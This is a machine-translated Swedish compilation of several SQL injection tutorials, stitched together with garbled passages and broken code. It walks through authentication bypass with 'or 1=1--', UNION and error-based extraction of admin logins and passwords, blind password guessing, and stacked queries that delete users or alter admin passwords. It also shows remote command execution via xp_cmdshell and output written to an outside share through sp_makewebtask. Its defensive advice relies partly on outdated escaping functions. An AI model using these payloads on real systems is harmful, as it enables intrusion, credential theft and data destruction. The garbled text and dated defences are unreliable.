Hur man hittar sql -injektion. Hur får jag det numeriska värdet för en sträng? Använder CURRENT_USER () i UNION SELECT


SQL -injektion- det här är ett av de mest prisvärda sätten att hacka en webbplats.
Kärnan i sådana injektioner är injiceringen av godtycklig SQL-kod i data (sänds via GET, POST-förfrågningar eller cookie-värden). Om webbplatsen är sårbar och utför sådana injektioner, är det faktiskt möjligt att göra vad som helst med databasen (oftast MySQL).

Hur beräknar jag en sårbarhet för SQL -injektion?

Ganska lätt. Till exempel finns det en testsajt test.ru. Webbplatsen visar en lista med nyheter, med möjlighet till detaljerad visning. Adressen på sidan med en detaljerad beskrivning av nyheterna ser ut så här: test.ru/?detail=1. Det vill säga, genom en GET-begäran, skickar detaljvariabeln värdet 1 (som är identifieraren för posten i nyhetstabellen).

Ändra GET-begäran till? Detalj = 1 "eller? Detalj = 1". Därefter försöker vi skicka dessa förfrågningar till servern, det vill säga vi går till test.ru/?detail=1 "eller till test.ru/?detail=1".

Om ett fel visas när du kommer åt dessa sidor är webbplatsen sårbar för SQL-injektion.

Ett exempel på ett fel som uppstår vid kontroll av en sårbarhet

Möjliga SQL -injektioner (SQL -injektioner)
1) De enklaste är att kollapsa WHERE -satsen till det sanna resultatet för alla parametervärden.
2) Ansluta frågan till resultaten av en annan fråga. Detta görs via UNION -operatören.
3) Kommentera en del av förfrågan.

Öva. Hackar en webbplats med en sårbarhet för SQL -injektion

Så vi har den redan nämnda webbplatsen test.ru. Databasen innehåller 4 nyheter, varav 3 visas. Behörighet att publicera nyheter beror på den offentliga parametern (om parametern innehåller ett värde 1 publiceras nyheten).

Nyhetslista godkänd för publicering

När du öppnar sidan test.ru/?detail=4, som ska visa den fjärde nyheten, visas ett fel - nyheter hittades inte.
I vårt fall finns nyheterna, men det är förbjudet att publicera dem.

Men eftersom vi redan har kontrollerat webbplatsen för sårbarhet och det gav ett databasfel, försöker vi iterera över de möjliga frågealternativen.
I adressfältet fungerar plus (+) som ett mellanslag, så bli inte orolig

Jag testar följande alternativ:
test.ru/?detail=4+OR+1
test.ru/?detail=4+--
test.ru/?detail=4+UNION+SELECT+ * + FROM + nyheter + WHERE + id = 4

Som ett resultat log lyckan och två förfrågningar (den första och den tredje) gav oss en detaljerad beskrivning av den fjärde nyheten

Att analysera ett exempel från insidan

Kodblocket ansvarar för att få en detaljerad beskrivning av nyheterna:
$ detail_id = $ _ GET ["detalj"];
$ zapros = "SELECT * FROM` $ table_news` WHERE` public` = "1" AND` id` = $ detail_id ORDER BY `position` DESC";

Inte bara får $ detail_id ett värde utan någon bearbetning, utan även konstruktionen `id` = $ detail_id är skrivet, det är bättre att hålla sig till` id` = "$ detail_id" (dvs skriva det jämförda värdet i raka apostrofer) .

Tittar på begäran som mottogs när du öppnade sidan via test.ru/?detail=4+OR+1

VÄLJ * FRÅN `news` WHERE` public` = "1" OCH `id` = 4 ELLER 1 ORDER BY` position` DESC

Det blir inte helt klart varför den 4:e nyheten visades. Poängen är att frågan returnerade alla poster från nyhetstabellen, sorterade i fallande ordning från toppen. Och därmed var vår fjärde nyhet den allra första, och den visades också som detaljerad. Dvs bara en slump.

Analysera begäran som genererades genom att kontakta via test.ru/?detail=4+UNION+SELECT+*+FROM+news+WHERE+id=4.

Här namnet på tabellen med nyheter (i vårt fall är det nyheter) togs med logisk sökning.
Så frågan SELECT * FROM `news` WHERE` public` =" 1 "AND` id` = 4 UNION SELECT * FROM news WHERE id = 4 ORDER BY` position` DESC kördes. Nollresultatet av den första delen av frågan (före UNION) förenades med resultatet av den andra delen (efter UNION), som returnerade en detaljerad beskrivning av den fjärde nyheten.

SQL-injektionsskydd (SQL-injektion)

Hackningsskydd kommer ner till grundregeln "lita på men verifiera". Du måste kontrollera allt - siffror, strängar, datum, data i speciella format.
Siffrorna
För att kontrollera en variabel för ett numeriskt värde, används funktionen is_numeric (n); som returnerar sant om parametern n är ett tal, och annars false.
Du kan inte heller kontrollera värdet för ett nummer, utan manuellt åsidosätta typen. Här är ett exempel som åsidosätter $ id -värdet från $ _GET ["id_news"] till ett heltal (ett heltal):
$ id = (int) $ _ GET ["id_news"];
Strängar
De flesta SQL-hack uppstår på grund av närvaron av "orörda" citattecken, apostrof och andra specialtecken i strängar. För sådan neutralisering måste du använda funktionen addslashes ($ str);, som returnerar strängen $ str med ett bakåtstreck (\) lagt till före varje specialtecken. Denna process kallas anpassning.

$ a = "exempeltext med apostrof" ";
echo addslashes ($ a); // kommer att visa: exempeltext med apostrof \ "

Dessutom finns det två funktioner som skapats specifikt för escape-strängar som används i SQL-uttryck.
Detta är mysql_escape_string ($ str); och mysql_real_escape_string ($ str);.

Den första tar inte hänsyn till kodningen av databasanslutningen och kan kringgås, men den andra tar hänsyn till den och är helt säker. mysql_real_escape_string ($ str); returnerar strängen $ str med ett omvänt snedstreck lägg till följande tecken: \ x00, \ n, \ r, \, "," och \ x1a.

Magiska citat

Magiska citattecken är effekten av att citattecken automatiskt ersätts med ett snedstreck (\) och citattecken under I / O -operationer. Vissa PHP-konfigurationer har detta alternativ aktiverat, och vissa gör det inte. För att undvika dubbel escape av tecken och escape data på ett normalt sätt via mysql_real_escape_string ($ str);, måste du ta bort de automatiska omvända snedstreck (om magiska citattecken är aktiverade).

Kontrollera införandet av magiska citat för data som tas emot från GET, POST eller Cookies organiseras genom funktionen get_magic_quotes_gpc (); (returerar 1 om magiska citat är aktiverade, 0 om inaktiverat).

Om magiska citat ingår (det vill säga omvända snedstreck läggs till) och detta är vanligare, måste de tas bort. Detta görs via stripslashes ($ str); (returerar strängen $ str utan snedstreck för citattecken och framåtapostrof).

Sammanfattningsvis ger jag koden med fullständig rymning av strängar för att skriva till databasen.

Om (get_magic_quotes_gpc () == 1)
{
$ element_title = snedstreck (trimma ($ _ POST ["element_title"]));
$ element_text = stripslashes (trim ($ _ POST ["element_text"]));
$ element_date = snedstreck (trimma ($ _ POST ["element_date"]));
}
annan
{
$ element_title = trim ($ _ POST ["element_title"]);
$ element_text = trim ($ _ POST ["element_text"]);
$ element_date = trim ($ _ POST ["element_date"]);
}

$ element_title = mysql_real_escape_string ($ element_title);
$ element_text = mysql_real_escape_string ($ element_text);
$ element_date = mysql_real_escape_string ($ element_date);

Artikeln utarbetades utifrån praktiska färdigheter i att säkra webbsystem. Teori är bra, men övning är viktigare och viktigast av allt, det fungerar.

SQL -injektion - Att bädda in skadlig kod i databasfrågor är den farligaste typen av attack. Med hjälp av SQL-injektion kan en angripare inte bara hämta känslig information från databasen, utan även under vissa förutsättningar göra ändringar där.

En sårbarhet för SQL -injektion uppstår när användarinformation hamnar i en databasfråga utan korrekt behandling: för att förhindra att ett skript är sårbart måste du se till att all användardata kommer in i alla databasfrågor i undviken form. Kravet på universalitet är hörnstenen: en kränkning i ett manus gör hela systemet sårbart.

Sårbarhetsexempel

Anta att du har ett skript som visar en lista över användare från en given stad, som accepterar ett stads-id som en GET-parameter. Skriptet kommer att nås med HTTP på /users.php?cityid=20

I skriptet ovan infogar utvecklaren GET -parametern i SQL -frågan, förutsatt att GET -parametern alltid kommer att innehålla ett tal. En angripare kan skicka en sträng som parameter och därigenom skada begäran. Till exempel kommer det att referera till skriptet som /users.php?cityid=20; DELETE * FRÅN användare
SQL-frågan kommer att se ut så här:

Begäran kommer att utföras och skriptet visar inte bara användare från den angivna staden, utan också en lista över alla användare vars lösenord kommer att visas istället för deras riktiga namn.

Hur skyddar man sig?

Låt oss bifoga användarinformationen i enstaka citat. Kommer det att hjälpa?

Från exemplet ovan kan du se att det inte räcker med att sätta in i enstaka citattecken. Du måste också undvika alla citattecken i strängen. För att göra detta tillhandahåller PHP mysql_real_escape_string () -funktionen, som lägger till ett snedstreck före varje citat, bakre citat och några andra specialtecken. Tänk på koden:

Så för att skydda mot SQL -injektion måste alla externa parametrar som kan innehålla text bearbetas med mysql_real_escape_string () och omges av enstaka citattecken.

Om det är känt att en parameter måste ta ett numeriskt värde till ett numeriskt värde kan det uttryckligen konverteras till numerisk form med hjälp av funktionen intval () eller floatval ()... I det här exemplet kan vi använda:

$ sql = "VÄLJ användarnamn, riktigt namn
FRÅN användare
VAR cityid = ""
.intval ( $ _GET ["cityid"] ) .""" ;

Skillnader mellan mysql_real_escape_string () och mysql_escape_string ()

mysql_real_escape_string () är en förbättrad version av funktionen mysql_escape_string (), som ofta används för att generera säkra frågor mot MySQL -databaser. Skillnaden mellan de två funktionerna är att mysql_real_escape_string () fungerar korrekt med multibytkodningar.

Anta att data som behandlas innehåller ett tecken (säg i UTF-8), vars kod består av två byte - hexadecimal 27 och 2B (decimal 39 respektive 43). mysql_escape_string () behandlar varje byte av data som skickas till den som ett separat tecken (närmare bestämt som koden för ett separat tecken) och bestämmer att sekvensen av byte 27 och 2B är två olika tecken: ett enda citat (") och plus (+). Eftersom funktionen accepterar ett citat som ett specialtecken kommer ett snedstreck (\) att läggas till före byten med kod 27, som faktiskt är en del av ett ofarligt tecken. Som ett resultat kommer data att skickas till databas i en förvrängd form.

Det är värt att notera att mysql_real_escape_string () fungerar korrekt i alla fall och helt kan ersätta mysql_escape_string ().

mysql_real_escape_string () är tillgänglig i PHP sedan version 4.3.0.

Ytterligare exempel

Vi har övervägt det enklaste exemplet, men i praktiken kan den sårbara begäran vara mer komplex och inte visa sina resultat för användaren. Nedan kommer vi att överväga exempel på SQL -injektion i några mer komplexa fall, utan att påstå att de är fullständiga.

Injektion i komplexa frågor

Det enklaste exemplet var möjligheten att bädda in kod i slutet av en SQL-fråga. I praktiken kan det finnas ytterligare villkor, sortering, gruppering och andra SQL -konstruktioner i slutet av en SQL -fråga. I varje specifikt fall kommer angriparen att försöka bädda in en skadlig del på ett sådant sätt att begäran som helhet förblir syntaktisk korrekt, men utför en annan funktion. Här kommer vi att titta på det enklaste exemplet på en sårbar begäran med ett ytterligare villkor.

Som ett resultat, ålder tillstånd<35 kommer inte att påverka valet, sedan OR -operatören har en lägre prioritet än AND, och WHERE från ovanstående fråga kan skrivas annorlunda som VAR (cityid = "20" OCH 1) ELLER ("1" OCH ålder<"35" ) (kom ihåg att VAR 1 alltid är sant). Som ett resultat kommer både raderna med cityid = "20" och de med ålder att passa till villkoret.<35, причем наличие последних не обязательно.

För komplexa frågor kräver framgångsrika SQL -injektioner viss uppfinningsrikedom, men angripare kan förväntas ha det.

Frågeresultat visas inte för användaren

Det kan visa sig att en fråga är sårbar, vars resultat inte visas för användaren. Detta kan till exempel vara en hjälpfråga:

$ sql = "VÄLJ antal (*)
FRÅN användare
WHERE användar-id = ""
. $ _ GET ["userid"]. "" ";

Begäran ovan kontrollerar endast om det finns en användare med det angivna användar -ID: om det returnerar något värde utan noll visas användarprofilen med motsvarande användar -ID, om 0 returneras (det vill säga det finns inga användare som matchar frågekriterierna) meddelandet "användaren hittades inte".

I detta fall bestäms lösenordet (eller annan information) av brutal kraft. Angriparen skickar strängen som parametern userid 2 "OCH lösenord LIKE" a%... Slutfråga:

VÄLJ antal (*) FRÅN användare VAR userid ="2" OCH lösenord SOM "a%"

Angriparen kommer att få en "användare hittades inte" om lösenordet inte börjar med bokstaven "a", eller en vanlig användarprofilsida annars. Sökningen avgör den första bokstaven i lösenordet, sedan den andra, etc.

Slutsatser

  • Alla frågor som använder extern data måste skyddas från SQL-injektion. Extern data kan överföras inte bara som GET-parametrar, utan också med POST-metoden, hämtad från COOKIE, från tredje parts webbplatser eller från en databas i vilken användaren hade möjlighet att ange information.
  • Alla numeriska parametrar bör uttryckligen konverteras till numerisk form med hjälp av funktionerna intval () och floatval ()
  • Alla strängparametrar bör undvikas med mysql_real_escape_string () och bifoga det inom citattecken.
  • Om det är svårt att bygga SQL -injektion, bör du inte förvänta dig att en angripare ska ta reda på hur man gör det. Detta gäller särskilt motorer vars källkod är offentlig.

Lycka till med att bygga säkra appar!

Denna artikel innehåller inga nya sanningar, SQL -injektion beskrivs i stor utsträckning och används i stor utsträckning. Denna artikel är mer avsedd för nybörjare, men kanske kan proffs hitta ett eller två nya knep.

Den här artikeln är avsedd att hjälpa nybörjare att hantera de problem de kan stöta på när de använder SQL Injection-tekniken, använda den framgångsrikt och kunna försvara sig mot sådana attacker.

Introduktion

När servern av intresse bara har port 80 öppen och sårbarhetsskannern inte kan rapportera något intressant, och du vet att systemadministratören alltid mycket snabbt installerar alla patchar på webbservern, är vår sista chans ett webbhack. SQL-injektion är en av de typer av webbhackning som bara använder port 80 och kan fungera även med rätt tid installerade patchar. Denna attack är mer riktad mot webbapplikationer (som ASP, JSP, PHP, CGI, etc.) än direkt mot webbservern eller tjänsterna i operativsystemet.

Denna artikel innehåller inga nya sanningar, SQL -injektion beskrivs i stor utsträckning och används i stor utsträckning. Den här artikeln är mer avsedd för nybörjare, men kanske proffs kan hitta ett eller två nya knep. Jag rekommenderar också att du tittar på länkarna i slutet av artikeln för mer detaljerad information från experter på detta område.

1.1 Vad är SQL Injection?

SQL Injection är en metod som är utformad för att injicera SQL -frågor / kommandon via webbsidor. Många webbsidor använder parametrar som presenteras för webbanvändare och frågar databasen i SQL. Låt oss till exempel ta fallet med en användarinloggning, när det finns en webbsida med ett namn och lösenord och en SQL -fråga görs i databasen för att kontrollera om det finns en registrerad användare med ett sådant namn och lösenord. Med hjälp av SQL Injection är det möjligt att skicka ett fiktivt användarnamn och / eller lösenordsfält som ändrar SQL -frågan, vilket kan ge oss något intressant.

2.0 Vad ska vi leta efter

Försök att hitta sidor som ber dig om data, till exempel en söksida, en diskussionssida etc. Ibland använder html-sidor POST-metoden för att skicka kommandon till en annan webbsida. I det här fallet ser du inte parametrarna i URL: en. Men i det här fallet kan du söka efter "FORM"-taggen i HTML-sidornas källkod. Du hittar något så här:



Alla parametrar mellan

och
potentiellt sårbara för SQL-injektion.

2.1 Vad händer om du inte hittar en sida som använder input?

Leta efter sidor som ASP-, JSP-, CGI- eller PHP -webbsidor. Försök att hitta sidor som använder parametrar som:

3.0. Hur kan jag verifiera att det jag har hittat är sårbart?

Försök att börja med ett enda citat. Ange följande rad:

hej "eller 1 = 1--

i användarnamnet eller lösenordsfältet, eller till och med i URL-parametern. Exempel:

Logga in: hej "eller 1 = 1--
Pass: hej "eller 1 = 1--
http: //duck/index.asp? id = hi "eller 1 = 1--

Om du har gjort detta med ett dolt fält, ladda bara ner den ursprungliga HTML -koden, spara den på din hårddisk, ändra webbadressen och dolda fältet i enlighet därmed. Exempel:



Om tur är på din sida loggas du in utan användarnamn eller lösenord.

3.1 Men varför "eller 1 = 1--?

Låt oss titta på ett annat exempel som förklarar användbarheten av konstruktionen "eller 1 = 1--". Förutom att kringgå registrering kan du också titta på ytterligare information som vanligtvis inte är tillgänglig. Tänk på en asp-sida som länkar till en annan sida med följande URL:

http: //duck/index.asp? category = food

I webbadressen är "category" namnet på variabeln och "food" är värdet som tilldelas den variabeln. För att göra detta kan asp -sidan innehålla följande kod:

v_cat = begäran ("kategori")
sqlstr = "VÄLJ * FRÅN VAR VAR PC -kategori =" "& v_cat &" ""
set rs = conn.execute (sqlstr)

som du kan se kommer vår variabel att slås samman med v_cat och därför bör SQL -frågan bli:

VÄLJ * FRÅN produkt VAR PC -kategori = "mat"

Den här frågan bör returnera en uppsättning som innehåller en eller flera rader som matchar WHERE-satsen, i det här fallet "mat". Låt oss nu ändra webbadressen så här:

http: //duck/index.asp? kategori = mat "eller 1 = 1--
VÄLJ * FRÅN produkt VAR PC-kategori = "mat" eller 1 = 1-- '

Denna fråga returnerar alla rader i produkttabellen, oavsett om Pc -kategorin är "mat" eller inte. Det dubbla bindestrecket "-" säger åt MS SQL Server att ignorera resten av frågan som följer efter det enkla citattecken ("). Ibland kan du ersätta det dubbla bindestrecket med en hash" # ".

Men om du använder en icke-SQL-server, eller om du inte kan ignorera resten av frågan, försök:

"eller" a "=" a

Nu blir SQL -frågan:

VÄLJ * FRÅN produkt VAR PC -kategori = "mat" eller "a" = "a"

Denna begäran returnerar samma resultat.

Beroende på den faktiska SQL -frågan kan du behöva prova några av dessa möjligheter:

"eller 1 = 1--
"eller 1 = 1--
eller 1 = 1--
"eller" a "=" a
"eller" a "=" a
") eller (" a "=" a

4.0 Hur kan du utföra kommandon på distans med hjälp av SQL -injektion?

Möjligheten att ange ett SQL-kommando innebär vanligtvis att vi kan köra SQL-frågor efter behag. Standardinstallationen av MS SQL Server utförs med systemrättigheter. Vi kan ringa inbyggda procedurer som master..xp_cmdshell för att fjärrköra godtyckliga kommandon:

"; exec master..xp_cmdshell" ping 10.10.1.2 "-

Prova att använda dubbla citattecken (") om (") inte fungerar.

Semikolon avslutar den aktuella SQL -frågan och låter dig köra nya SQL -kommandon. För att kontrollera om kommandot har slutförts kan du kontrollera ICMP -paketen i 10.10.1.2 för att se om de innehåller några paket från den sårbara servern:

http:// webbplats /? id = 31610

Om du inte har fått några ping-förfrågningar från servern och du får ett felmeddelande som indikerar ett behörighetsfel, kan administratören ha begränsat användarens webbåtkomst till lagrade procedurer.

5.0 Hur får jag resultaten av min SQL -fråga?

Du kan använda sp_makewebtask för att skriva din begäran i HTML:

"; EXEC master..sp_makewebtask" \\ 10.10.1.3 \ share \ output.html "," VÄLJ * FRÅN INFORMATION_SCHEMA.TABLES "

Den angivna IP -adressen måste ha en "dela" -mapp med åtkomst för alla.

6.0 Hur får jag data från en databas med ODBC -felmeddelande?

Vi kan använda informationen från felmeddelandet som genereras av SQL-servern för att hämta all data. Tänk till exempel på följande sida:

http: //duck/index.asp? id = 10

Nu ska vi försöka sammanfoga heltal '10' med en annan sträng i databasen:

http: //duck/index.asp? id = 10 UNION SELECT TOP 1 TABLE_NAME FRÅN INFORMATION_SCHEMA.TABLES--

Systemtabellen INFORMATION_SCHEMA.TABLES innehåller information för alla tabeller på servern.

Fältet TABLE_NAME innehåller uppenbarligen namnet på varje tabell i databasen. Hon valdes för att vi vet att hon alltid finns. Vår begäran:

VÄLJ TOPP 1 TABLE_NAME FRÅN INFORMATION_SCHEMA.TABLES--

Denna fråga returnerar förnamnet i databasen. När vi UNIONER detta strängvärde till heltal 10, kommer MS SQL Server att försöka konvertera nvarchar -strängen till heltal. Detta kommer att ge ett fel som säger att det inte kan konvertera nvarchar till int. Servern kommer att ge följande fel:


Syntaxfel vid konvertering av nvarchar-värdet "(! LANG: tabell1" to a column of data type int. !}
/index.asp, rad 5

Felmeddelandet innehåller information om ett värde som inte kan konverteras till ett heltal. I det här fallet fick vi namnet på den första tabellen - "tabell1".

För att få nästa tabellnamn kan vi använda följande fråga:

http: //duck/index.asp? id = 10 UNION VÄLJ TOPP 1 TABLE_NAME FRÅN INFORMATION_SCHEMA.TABELLER VAR TABLE_NAME INTE finns ("tabell1") -

Vi kan också söka efter data med LIKE-tangenten:

http: //duck/index.asp? id = 10 UNION VÄLJ TOPP 1 TABLE_NAME FRÅN INFORMATION_SCHEMA.TABLER VAR TABLE_NAME LIKER "% 25login% 25" -

Microsoft OLE DB Provider för ODBC-drivrutiner fel "80040e07" Syntaxfel vid konvertering av nvarchar -värdet "(! LANG: admin_login" to a column of data type int. !} /index.asp, rad 5

Motsvarande konstruktion "% 25login% 25" kommer att ersättas med% login% i SQL-servern. I det här fallet kommer vi att få namnet på tabellen som matchar "admin_login"-kriteriet.

6.1 Hur hittar jag alla kolumnnamn i en tabell?

Vi kan använda tabellen INFORMATION_SCHEMA.COLUMNS för att visa alla kolumnnamn i tabellen:

http: //duck/index.asp? id = 10 UNION VÄLJ TOP 1 COLUMN_NAME FRÅN INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = "admin_login" -

Microsoft OLE DB Provider för ODBC-drivrutiner fel "80040e07"
Syntaxfel vid konvertering av nvarchar -värdet "(! LANG: login_id" to a column of data type int. !}
/index.asp, rad 5

Nu när vi vet det första kolumnnamnet kan vi använda NOT IN () för att få namnet på nästa kolumn:

http: //duck/index.asp? id = 10 UNION VÄLJ TOPP 1 COLUMN_NAME FRÅN INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = "admin_login" VAR COLUMN_NAME INTE ("login_id") -

Microsoft OLE DB Provider för ODBC-drivrutiner fel "80040e07"
Syntaxfel vid konvertering av nvarchar-värdet "(! LANG: login_name" to a column of data type int. !}
/index.asp, rad 5

Om vi ​​fortsätter får vi resten av kolumnnamnen, d.v.s. "lösenord", "detaljer" tills vi får nästa fel.

http: //duck/index.asp? id = 10 UNION VÄLJ TOP 1 COLUMN_NAME FRÅN INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = "admin_login" VAR COLUMN_NAME INTE I ("login_id", "login_name", "password", detaljer ") -

Microsoft OLE DB Provider för ODBC-drivrutiner fel "80040e14"
ORDER BY -objekt måste visas i listan om uttalandet innehåller en UNION -operatör.
/index.asp, rad 5

6.2. Hur får vi den information vi behöver?

Nu när vi har identifierat några viktiga tabeller kan vi använda samma teknik för att hämta information från databasen.

Låt oss få det första inloggningsnamnet från tabellen "admin_login":

http: //duck/index.asp? id = 10 UNION VÄLJ TOP 1 login_name FROM admin_login--

Microsoft OLE DB Provider för ODBC-drivrutiner fel "80040e07"
Syntaxfel vid konvertering av nvarchar-värdet "(! LANG: neo" to a column of data type int. !}
/index.asp, rad 5

Vi vet nu att det finns en administratörsanvändare med inloggningen "neo". Slutligen kan vi få lösenordet "neo":

http: //duck/index.asp? id = 10 UNION SELECT TOP 1 lösenord FRÅN admin_login där login_name = "neo" -

Microsoft OLE DB Provider för ODBC-drivrutiner fel "80040e07"
Syntaxfel vid konvertering av nvarchar -värdet "(! LANG: m4trix" to a column of data type int. !}
/index.asp, rad 5

Vi kommer nu att kunna logga in som "neo" med lösenordet "m4trix".

6.3 Hur får jag det numeriska värdet på en sträng?

Det finns en begränsning i metoden som beskrivs ovan. Vi kan inte få ett felmeddelande om vi försöker konvertera text som består av ett tal (endast tecken mellan 0 ... 9). Vi kommer nu att beskriva hur man hämtar lösenordet "31173" från användaren "trinity":

http: //duck/index.asp? id = 10 UNION SELECT TOP 1 lösenord FRÅN admin_login där login_name = "trinity" -

Vi kommer förmodligen att få ett felmeddelande om att sidan inte hittades. Anledningen är att lösenordet "31173" kommer att konverteras till ett tal, före UNION med ett heltal (i vårt fall, 10). Eftersom det korrekta UNION-uttrycket kommer att erhållas kommer SQL-servern inte att ge ett felmeddelande, och vi kommer därför inte att kunna få en numerisk post.

För att lösa detta problem kan vi lägga till en numerisk sträng med några bokstäver i slutet för att förhindra att konverteringen går igenom. Ändrad fråga:

http: //duck/index.asp? id = 10 UNION SELECT TOP 1 convert (int, lösenord% 2b "% 20morpheus") FRÅN admin_login där login_name = "trinity" -

Vi använder bara plustecknet (+) för att lägga till lösenordet med valfri text till slutet (ASSCII-kodning för "+" = 0x2b). Sedan lägger vi till "% 20morpheus" i slutet av det faktiska lösenordet. Därför, även om lösenordsvärdet är "31173", blir det "31173 morpheus". Genom att manuellt anropa funktionen convert () och försöka konvertera "31173 morpheus" till ett heltal kommer SQL Server att utfärda ett ODBC -felmeddelande:

Microsoft OLE DB Provider för ODBC-drivrutiner fel "80040e07"
Syntaxfel vid konvertering av nvarchar -värdet "(! LANG: 31173 morpheus" to a column of data type int. !}
/index.asp, rad 5

Vi kommer nu att kunna logga in som "trinity" med lösenordet "31173".

7.0 Hur ändrar/infogar man data i databasen?

När vi har fått namnen på alla kolumner i tabellen kan vi uppdatera (UPPDATERA) eller till och med infoga (INSERT) en ny post i tabellen. Till exempel kan vi ändra lösenordet för "neo":

http: //duck/index.asp? id = 10; UPPDATERA "admin_login" SET "password" = "newpas5" VAR login_name = "neo--

Så här infogar du en ny post i databasen:

http: //duck/index.asp? id = 10; INFO I "admin_login" ("login_id", "login_name", "lösenord", "detaljer") VÄRDEN (666, "neo2", "newpas5", "NA") -

Vi kommer nu att kunna logga in som "neo" med lösenordet "newpas5".

8.0 Hur undviker man SQL -injektion?

Filtrera specialtecken på alla rader i:

Alla uppgifter som anges av användaren
- URL-parametrar
- Cookie

För numeriska värden, konvertera dem till heltal innan du skickar dem till SQL-frågan. Eller använd ISNUMERIC för att se till att det är ett heltal.

Kör SQL Server som en oprivilegierad användare.

Ta bort oanvända lagrade procedurer: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

Vi presenterar en ny kurs från teamet Koden genom- "Penetrationstestning av webbapplikationer från grunden". Allmän teori, Arbetsmiljöförberedelse, Passiv Fuzzing och Fingerprinting, Active Fuzzing, Sårbarheter, Post-Exploitation, Tools, Social Engineering med mera.


Kärnan i SQL -injektion

Du har säkert redan hört ett skämt från Internet: ” Varför alla ritlektioner är likadana: Till exempel en lektion om att rita en uggla. Först, under en halvtimme under en lång tid, rita en uggla i detalj. Och sedan - en gång - på fem minuter - rita resten av ugglan».

Det finns till och med en bild om denna fråga:

Det finns mycket material om SQL-injektioner: artiklar, böcker, videokurser (betalda och gratis). Samtidigt är det inte många av dem som ger ökad förståelse för denna fråga. Speciellt om du är nybörjare. Jag minns väl mina känslor: här är det en cirkel, här är resten av en uggla ...

Syftet med denna anteckning är att dra ett öga på ugglan för att ge en normal enkel förklaring, vad är SQL-injektioner, vad är deras essens, i vilken utsträckning och varför är de farliga.

För experiment kommer vi att ha ett mycket enkelt och sårbart för SQL -injektionsskript:

För att komma åt Bobruisks regionala bibliotek, ange dina referenser:

Ange ditt namn

Ange ditt lösenord


fråga ("SET NAMES UTF8"); $ mysqli-> fråga ("SET CHARACTER SET UTF8"); $ mysqli-> fråga ("SET character_set_client = UTF8"); $ mysqli-> fråga ("SET character_set_connection = UTF8"); $ mysqli-> fråga ("SET character_set_results = UTF8"); ) $ namn = filter_input (INPUT_GET, "namn"); $ lösenord = filter_input (INPUT_GET, "lösenord"); if ($ result = $ mysqli-> query ("SELECT * FROM` members` WHERE name =" $ name "AND password = $ password")) (while ($ obj = $ result-> fetch_object ()) (echo "

Ditt namn:$ obj-> namn

Din status:$ obj-> status

Böcker tillgängliga för dig:$ obj-> böcker


";)) else (printf (" Fel:% sn ", $ mysqli-> fel);) $ mysqli-> close ();?>

Du kommer att förstå mycket mer om du gör allt med mig. Därför här. Den har två filer: index.php och db_library.sql... Placera index.php -filen var som helst på servern - detta är vårt sårbara skript. Och db_library.sql -filen måste importeras, till exempel med phpMyAdmin.

I filen index.php är databasens användarnamn satt till root och lösenordet är tomt. Du kan ange dina uppgifter genom att redigera raden:

$ mysqli = new mysqli ("localhost", "root", "", "db_library");

Enligt legenden är detta ett formulär för att komma in i onlineversionen av Bobruisk regionalbibliotek. Vi har redan fått inloggningsuppgifter: användarnamn - Demo, lösenord - 111.

Låt oss skriva in dem och se:

Vår legitimation accepteras, vårt namn, status och de böcker som finns tillgängliga för oss visas. Du kan försöka, med andra data (om du ändrar namn eller lösenord), kommer vi inte att kunna gå in och se de böcker som är tillgängliga för läsning. Vi kan inte heller ta reda på vilka böcker som är tillgängliga för resten, eftersom vi inte vet deras namn och lösenord.

Låt oss ta en titt på källkoden för att förstå hur databasfrågan uppstod:

VÄLJ * FRÅN `medlemmar` VAR namn =" $ namn "OCH lösenord =" $ lösenord "

Ord VÄLJ i SQL-frågan visar vilken data som behöver hämtas. Till exempel kan man ange SELECT-namn, eller SELECT-namn, lösenord. Sedan, i det första fallet, skulle endast namnet hämtas från tabellen, och i det andra, endast namnet och lösenordet. Asterisken säger att man ska få alla värden. De där. SELECT * betyder att få alla värden.

FRÅN talar om var de ska hämtas ifrån. FROM följs av tabellnamnet, dvs. FROM-posten "medlemmar" säger att man ska hämta från tabellen "medlemmar".

Ytterligare VAR, om du har studerat några programmeringsspråk, så liknar detta ord mest "If". Och sedan finns det villkor, dessa villkor kan vara sanna (1) eller falska (0). I vårat fall

(namn = '$ namn') OCH (lösenord = '$ lösenord')

betyder att villkoret är sant om den passerade $ namnvariabeln är lika med värdet på namnfältet i tabellen och den passerade variabeln $ lösenord är lika med värdet för lösenordsfältet i tabellen. Om minst ett av villkoren inte är uppfyllt (fel användarnamn eller lösenord), kommer ingenting att tas från tabellen, dvs uttrycket VÄLJ * FRÅN 'medlemmar' VAR namn = '$ namn' OCH lösenord = '$ lösenord' betyder : i tabellen `medlemmar`, ta värdena för alla fält, om villkoret är uppfyllt för dem - det passerade användarnamnet och lösenordet matchar de som finns i tabellen.

Kusten är klar. Låt oss nu till exempel ersätta ett enda citat med användarnamnet:

Adressfält:

http: //localhost/test/mysql-inj-lab1/index.php? name = Demo ’& password = 111

Ingen data togs emot, istället ser vi ett fel:

Fel: Du har ett fel i din SQL-syntax; kontrollera manualen som motsvarar din MySQL-serverversion för rätt syntax att använda nära "111" "på rad 1

Med rätt data angiven såg vår begäran ut så här:

VÄLJ * FRÅN `medlemmar` WHERE namn =" Demo "OCH lösenord =" 111 "

När du lägger till en offert blir vår fråga till följande:

VÄLJ * FRÅN `medlemmar` VAR namn =" Demo "" OCH lösenord = "111"

Jag lägger till ytterligare utrymmen för tydlighetens skull, det vill säga att vi får en förfrågan

förresten, frågan är korrekt i syntaxen. Och omedelbart efter det, utan några separatorer, fortsätter begäran:

"OCH lösenord =" 111 "

Det bryter allt, eftersom antalet öppnings- och avslutande citat inte är lika. Du kan till exempel ersätta ytterligare ett citat:

VÄLJ * FRÅN `medlemmar` VAR namn =" Demo "" "OCH lösenord =" 111 "

Adressfält:

http: //localhost/test/mysql-inj-lab1/index.php? name = Demo "& lösenord = 111

Felet försvann, men det gav ingen mening till begäran. Vi hindras av den meningslösa svansen av begäran. Hur kan vi bli av med det?

Svaret är - det här är kommentarer.

Kommentarer i MySQL kan ställas in på tre sätt:

# (hash - fungerar till slutet av raden)

(två streck - arbeta till slutet av raden, du behöver ett mellanslag efter två streck)

/* detta är en kommentar */ en grupp med fyra tecken - allt inuti är en kommentar, allt före eller efter denna grupp av tecken anses inte vara en kommentar.

